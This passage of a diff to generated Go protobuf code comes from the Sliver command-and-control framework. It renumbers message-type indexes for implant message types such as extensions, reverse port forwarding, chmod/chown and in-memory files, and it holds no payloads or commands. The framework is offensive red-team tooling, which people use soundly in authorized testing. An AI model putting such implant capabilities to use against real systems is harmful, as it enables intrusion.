&& x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9822,7 +9948,7 @@ func (x *CallExtensionReq) ProtoReflect() protoreflect.Message { // Deprecated: Use CallExtensionReq.ProtoReflect.Descriptor instead. func (*CallExtensionReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{144} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{146} } func (x *CallExtensionReq) GetName() string { @@ -9873,7 +9999,7 @@ type CallExtension struct { func (x *CallExtension) Reset() { *x = CallExtension{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[145] + mi := &file_sliverpb_sliver_proto_msgTypes[147] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9886,7 +10012,7 @@ func (x *CallExtension) String() string { func (*CallExtension) ProtoMessage() {} func (x *CallExtension) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[145] + mi := &file_sliverpb_sliver_proto_msgTypes[147] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9899,7 +10025,7 @@ func (x *CallExtension) ProtoReflect() protoreflect.Message { // Deprecated: Use CallExtension.ProtoReflect.Descriptor instead. func (*CallExtension) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{145} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{147} } func (x *CallExtension) GetOutput() []byte { @@ -9934,7 +10060,7 @@ type ListExtensionsReq struct { func (x *ListExtensionsReq) Reset() { *x = ListExtensionsReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[146] + mi := &file_sliverpb_sliver_proto_msgTypes[148] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9947,7 +10073,7 @@ func (x *ListExtensionsReq) String() string { func (*ListExtensionsReq) ProtoMessage() {} func (x *ListExtensionsReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[146] + mi := &file_sliverpb_sliver_proto_msgTypes[148] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9960,7 +10086,7 @@ func (x *ListExtensionsReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ListExtensionsReq.ProtoReflect.Descriptor instead. func (*ListExtensionsReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{146} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{148} } func (x *ListExtensionsReq) GetRequest() *commonpb.Request { @@ -9982,7 +10108,7 @@ type ListExtensions struct { func (x *ListExtensions) Reset() { *x = ListExtensions{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[147] + mi := &file_sliverpb_sliver_proto_msgTypes[149] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9995,7 +10121,7 @@ func (x *ListExtensions) String() string { func (*ListExtensions) ProtoMessage() {} func (x *ListExtensions) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[147] + mi := &file_sliverpb_sliver_proto_msgTypes[149] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10008,7 +10134,7 @@ func (x *ListExtensions) ProtoReflect() protoreflect.Message { // Deprecated: Use ListExtensions.ProtoReflect.Descriptor instead. func (*ListExtensions) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{147} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{149} } func (x *ListExtensions) GetNames() []string { @@ -10037,7 +10163,7 @@ type RportFwdStopListenerReq struct { func (x *RportFwdStopListenerReq) Reset() { *x = RportFwdStopListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[148] + mi := &file_sliverpb_sliver_proto_msgTypes[150] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10050,7 +10176,7 @@ func (x *RportFwdStopListenerReq) String() string { func (*RportFwdStopListenerReq) ProtoMessage() {} func (x *RportFwdStopListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[148] + mi := &file_sliverpb_sliver_proto_msgTypes[150] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10063,7 +10189,7 @@ func (x *RportFwdStopListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RportFwdStopListenerReq.ProtoReflect.Descriptor instead. func (*RportFwdStopListenerReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{148} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{150} } func (x *RportFwdStopListenerReq) GetID() uint32 { @@ -10095,7 +10221,7 @@ type RportFwdStartListenerReq struct { func (x *RportFwdStartListenerReq) Reset() { *x = RportFwdStartListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[149] + mi := &file_sliverpb_sliver_proto_msgTypes[151] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10108,7 +10234,7 @@ func (x *RportFwdStartListenerReq) String() string { func (*RportFwdStartListenerReq) ProtoMessage() {} func (x *RportFwdStartListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[149] + mi := &file_sliverpb_sliver_proto_msgTypes[151] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10121,7 +10247,7 @@ func (x *RportFwdStartListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RportFwdStartListenerReq.ProtoReflect.Descriptor instead. func (*RportFwdStartListenerReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{149} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{151} } func (x *RportFwdStartListenerReq) GetBindAddress() string { @@ -10175,7 +10301,7 @@ type RportFwdListener struct { func (x *RportFwdListener) Reset() { *x = RportFwdListener{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[150] + mi := &file_sliverpb_sliver_proto_msgTypes[152] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10188,7 +10314,7 @@ func (x *RportFwdListener) String() string { func (*RportFwdListener) ProtoMessage() {} func (x *RportFwdListener) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[150] + mi := &file_sliverpb_sliver_proto_msgTypes[152] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10201,7 +10327,7 @@ func (x *RportFwdListener) ProtoReflect() protoreflect.Message { // Deprecated: Use RportFwdListener.ProtoReflect.Descriptor instead. func (*RportFwdListener) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{150} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{152} } func (x *RportFwdListener) GetID() uint32 { @@ -10258,7 +10384,7 @@ type RportFwdListeners struct { func (x *RportFwdListeners) Reset() { *x = RportFwdListeners{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[151] + mi := &file_sliverpb_sliver_proto_msgTypes[153] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10271,7 +10397,7 @@ func (x *RportFwdListeners) String() string { func (*RportFwdListeners) ProtoMessage() {} func (x *RportFwdListeners) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[151] + mi := &file_sliverpb_sliver_proto_msgTypes[153] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10284,7 +10410,7 @@ func (x *RportFwdListeners) ProtoReflect() protoreflect.Message { // Deprecated: Use RportFwdListeners.ProtoReflect.Descriptor instead. func (*RportFwdListeners) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{151} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{153} } func (x *RportFwdListeners) GetListeners() []*RportFwdListener { @@ -10312,7 +10438,7 @@ type RportFwdListenersReq struct { func (x *RportFwdListenersReq) Reset() { *x = RportFwdListenersReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[152] + mi := &file_sliverpb_sliver_proto_msgTypes[154] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10325,7 +10451,7 @@ func (x *RportFwdListenersReq) String() string { func (*RportFwdListenersReq) ProtoMessage() {} func (x *RportFwdListenersReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[152] + mi := &file_sliverpb_sliver_proto_msgTypes[154] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10338,7 +10464,7 @@ func (x *RportFwdListenersReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RportFwdListenersReq.ProtoReflect.Descriptor instead. func (*RportFwdListenersReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{152} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{154} } func (x *RportFwdListenersReq) GetRequest() *commonpb.Request { @@ -10363,7 +10489,7 @@ type RPortfwd struct { func (x *RPortfwd) Reset() { *x = RPortfwd{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[153] + mi := &file_sliverpb_sliver_proto_msgTypes[155] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10376,7 +10502,7 @@ func (x *RPortfwd) String() string { func (*RPortfwd) ProtoMessage() {} func (x *RPortfwd) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[153] + mi := &file_sliverpb_sliver_proto_msgTypes[155] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10389,7 +10515,7 @@ func (x *RPortfwd) ProtoReflect() protoreflect.Message { // Deprecated: Use RPortfwd.ProtoReflect.Descriptor instead. func (*RPortfwd) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{153} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{155} } func (x *RPortfwd) GetPort() uint32 { @@ -10442,7 +10568,7 @@ type RPortfwdReq struct { func (x *RPortfwdReq) Reset() { *x = RPortfwdReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[154] + mi := &file_sliverpb_sliver_proto_msgTypes[156] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10455,7 +10581,7 @@ func (x *RPortfwdReq) String() string { func (*RPortfwdReq) ProtoMessage() {} func (x *RPortfwdReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[154] + mi := &file_sliverpb_sliver_proto_msgTypes[156] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10468,7 +10594,7 @@ func (x *RPortfwdReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RPortfwdReq.ProtoReflect.Descriptor instead. func (*RPortfwdReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{154} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{156} } func (x *RPortfwdReq) GetPort() uint32 { @@ -10520,7 +10646,7 @@ type ChmodReq struct { func (x *ChmodReq) Reset() { *x = ChmodReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[155] + mi := &file_sliverpb_sliver_proto_msgTypes[157] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10533,7 +10659,7 @@ func (x *ChmodReq) String() string { func (*ChmodReq) ProtoMessage() {} func (x *ChmodReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[155] + mi := &file_sliverpb_sliver_proto_msgTypes[157] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10546,7 +10672,7 @@ func (x *ChmodReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ChmodReq.ProtoReflect.Descriptor instead. func (*ChmodReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{155} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{157} } func (x *ChmodReq) GetPath() string { @@ -10589,7 +10715,7 @@ type Chmod struct { func (x *Chmod) Reset() { *x = Chmod{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[156] + mi := &file_sliverpb_sliver_proto_msgTypes[158] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10602,7 +10728,7 @@ func (x *Chmod) String() string { func (*Chmod) ProtoMessage() {} func (x *Chmod) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[156] + mi := &file_sliverpb_sliver_proto_msgTypes[158] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10615,7 +10741,7 @@ func (x *Chmod) ProtoReflect() protoreflect.Message { // Deprecated: Use Chmod.ProtoReflect.Descriptor instead. func (*Chmod) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{156} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{158} } func (x *Chmod) GetPath() string { @@ -10647,7 +10773,7 @@ type ChownReq struct { func (x *ChownReq) Reset() { *x = ChownReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[157] + mi := &file_sliverpb_sliver_proto_msgTypes[159] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10660,7 +10786,7 @@ func (x *ChownReq) String() string { func (*ChownReq) ProtoMessage() {} func (x *ChownReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[157] + mi := &file_sliverpb_sliver_proto_msgTypes[159] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10673,7 +10799,7 @@ func (x *ChownReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ChownReq.ProtoReflect.Descriptor instead. func (*ChownReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{157} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{159} } func (x *ChownReq) GetPath() string { @@ -10723,7 +10849,7 @@ type Chown struct { func (x *Chown) Reset() { *x = Chown{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[158] + mi := &file_sliverpb_sliver_proto_msgTypes[160] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10736,7 +10862,7 @@ func (x *Chown) String() string { func (*Chown) ProtoMessage() {} func (x *Chown) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[158] + mi := &file_sliverpb_sliver_proto_msgTypes[160] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10749,7 +10875,7 @@ func (x *Chown) ProtoReflect() protoreflect.Message { // Deprecated: Use Chown.ProtoReflect.Descriptor instead. func (*Chown) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{158} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{160} } func (x *Chown) GetPath() string { @@ -10780,7 +10906,7 @@ type ChtimesReq struct { func (x *ChtimesReq) Reset() { *x = ChtimesReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[159] + mi := &file_sliverpb_sliver_proto_msgTypes[161] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10793,7 +10919,7 @@ func (x *ChtimesReq) String() string { func (*ChtimesReq) ProtoMessage() {} func (x *ChtimesReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[159] + mi := &file_sliverpb_sliver_proto_msgTypes[161] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10806,7 +10932,7 @@ func (x *ChtimesReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ChtimesReq.ProtoReflect.Descriptor instead. func (*ChtimesReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{159} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{161} } func (x *ChtimesReq) GetPath() string { @@ -10849,7 +10975,7 @@ type Chtimes struct { func (x *Chtimes) Reset() { *x = Chtimes{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[160] + mi := &file_sliverpb_sliver_proto_msgTypes[162] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10862,7 +10988,7 @@ func (x *Chtimes) String() string { func (*Chtimes) ProtoMessage() {} func (x *Chtimes) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[160] + mi := &file_sliverpb_sliver_proto_msgTypes[162] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10875,7 +11001,7 @@ func (x *Chtimes) ProtoReflect() protoreflect.Message { // Deprecated: Use Chtimes.ProtoReflect.Descriptor instead. func (*Chtimes) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{160} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{162} } func (x *Chtimes) GetPath() string { @@ -10903,7 +11029,7 @@ type MemfilesListReq struct { func (x *MemfilesListReq) Reset() { *x = MemfilesListReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[161] + mi := &file_sliverpb_sliver_proto_msgTypes[163] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10916,7 +11042,7 @@ func (x *MemfilesListReq) String() string { func (*MemfilesListReq) ProtoMessage() {} func (x *MemfilesListReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[161] + mi := &file_sliverpb_sliver_proto_msgTypes[163] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10929,7 +11055,7 @@ func (x *MemfilesListReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MemfilesListReq.ProtoReflect.Descriptor instead. func (*MemfilesListReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{161} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{163} } func (x *MemfilesListReq) GetRequest() *commonpb.Request { @@ -10950,7 +11076,7 @@ type MemfilesAddReq struct { func (x *MemfilesAddReq) Reset() { *x = MemfilesAddReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[162] + mi := &file_sliverpb_sliver_proto_msgTypes[164] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -10963,7 +11089,7 @@ func (x *MemfilesAddReq) String() string { func (*MemfilesAddReq) ProtoMessage() {} func (x *MemfilesAddReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[162] + mi := &file_sliverpb_sliver_proto_msgTypes[164] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -10976,7 +11102,7 @@ func (x *MemfilesAddReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MemfilesAddReq.ProtoReflect.Descriptor instead. func (*MemfilesAddReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{162} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{164} } func (x *MemfilesAddReq) GetRequest() *commonpb.Request { @@ -10998,7 +11124,7 @@ type MemfilesAdd struct { func (x *MemfilesAdd) Reset() { *x = MemfilesAdd{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[163] + mi := &file_sliverpb_sliver_proto_msgTypes[165] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11011,7 +11137,7 @@ func (x *MemfilesAdd) String() string { func (*MemfilesAdd) ProtoMessage() {} func (x *MemfilesAdd) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[163] + mi := &file_sliverpb_sliver_proto_msgTypes[165] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11024,7 +11150,7 @@ func (x *MemfilesAdd) ProtoReflect() protoreflect.Message { // Deprecated: Use MemfilesAdd.ProtoReflect.Descriptor instead. func (*MemfilesAdd) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{163} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{165} } func (x *MemfilesAdd) GetFd() int64 { @@ -11053,7 +11179,7 @@ type MemfilesRmReq struct { func (x *MemfilesRmReq) Reset() { *x = MemfilesRmReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[164] + mi := &file_sliverpb_sliver_proto_msgTypes[166] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11066,7 +11192,7 @@ func (x *MemfilesRmReq) String() string { func (*MemfilesRmReq) ProtoMessage() {} func (x *MemfilesRmReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[164] + mi := &file_sliverpb_sliver_proto_msgTypes[166] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11079,7 +11205,7 @@ func (x *MemfilesRmReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MemfilesRmReq.ProtoReflect.Descriptor instead. func (*MemfilesRmReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{164} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{166} } func (x *MemfilesRmReq) GetFd() int64 { @@ -11108,7 +11234,7 @@ type MemfilesRm struct { func (x *MemfilesRm) Reset() { *x = MemfilesRm{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[165] + mi := &file_sliverpb_sliver_proto_msgTypes[167] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11121,7 +11247,7 @@ func (x *MemfilesRm) String() string { func (*MemfilesRm) ProtoMessage() {} func (x *MemfilesRm) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[165] + mi := &file_sliverpb_sliver_proto_msgTypes[167] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11134,7 +11260,7 @@ func (x *MemfilesRm) ProtoReflect() protoreflect.Message { // Deprecated: Use MemfilesRm.ProtoReflect.Descriptor instead. func (*MemfilesRm) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{165} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{167} } func (x *MemfilesRm) GetFd() int64 { @@ -11164,7 +11290,7 @@ type RegisterWasmExtensionReq struct { func (x *RegisterWasmExtensionReq) Reset() { *x = RegisterWasmExtensionReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[166] + mi := &file_sliverpb_sliver_proto_msgTypes[168] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11177,7 +11303,7 @@ func (x *RegisterWasmExtensionReq) String() string { func (*RegisterWasmExtensionReq) ProtoMessage() {} func (x *RegisterWasmExtensionReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[166] + mi := &file_sliverpb_sliver_proto_msgTypes[168] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11190,7 +11316,7 @@ func (x *RegisterWasmExtensionReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RegisterWasmExtensionReq.ProtoReflect.Descriptor instead. func (*RegisterWasmExtensionReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{166} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{168} } func (x *RegisterWasmExtensionReq) GetName() string { @@ -11225,7 +11351,7 @@ type RegisterWasmExtension struct { func (x *RegisterWasmExtension) Reset() { *x = RegisterWasmExtension{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[167] + mi := &file_sliverpb_sliver_proto_msgTypes[169] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11238,7 +11364,7 @@ func (x *RegisterWasmExtension) String() string { func (*RegisterWasmExtension) ProtoMessage() {} func (x *RegisterWasmExtension) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[167] + mi := &file_sliverpb_sliver_proto_msgTypes[169] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11251,7 +11377,7 @@ func (x *RegisterWasmExtension) ProtoReflect() protoreflect.Message { // Deprecated: Use RegisterWasmExtension.ProtoReflect.Descriptor instead. func (*RegisterWasmExtension) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{167} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{169} } func (x *RegisterWasmExtension) GetResponse() *commonpb.Response { @@ -11273,7 +11399,7 @@ type DeregisterWasmExtensionReq struct { func (x *DeregisterWasmExtensionReq) Reset() { *x = DeregisterWasmExtensionReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[168] + mi := &file_sliverpb_sliver_proto_msgTypes[170] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11286,7 +11412,7 @@ func (x *DeregisterWasmExtensionReq) String() string { func (*DeregisterWasmExtensionReq) ProtoMessage() {} func (x *DeregisterWasmExtensionReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[168] + mi := &file_sliverpb_sliver_proto_msgTypes[170] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -11299,7 +11425,7 @@ func (x *DeregisterWasmExtensionReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DeregisterWasmExtensionReq.ProtoReflect.Descriptor instead. func (*DeregisterWasmExtensionReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{168} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{170} } func (x *DeregisterWasmExtensionReq) GetName() string { @@ -11327,7 +11453,7 @@ type ListWasmExtensionsReq struct { func (x *ListWasmExtensionsReq) Reset() { *x = ListWasmExtensionsReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[169] + mi := &file_sliverpb_sliver_proto_msgTypes[171] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -11340,7 +11466,7 @@ func (x *ListWasmExtensionsReq) String() string { func (*ListWasmExtensionsReq) ProtoMessage() {} func (x *ListWasmExtensionsReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[169] + mi := &file_sliverpb_sliver_proto_msgTypes[171] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if 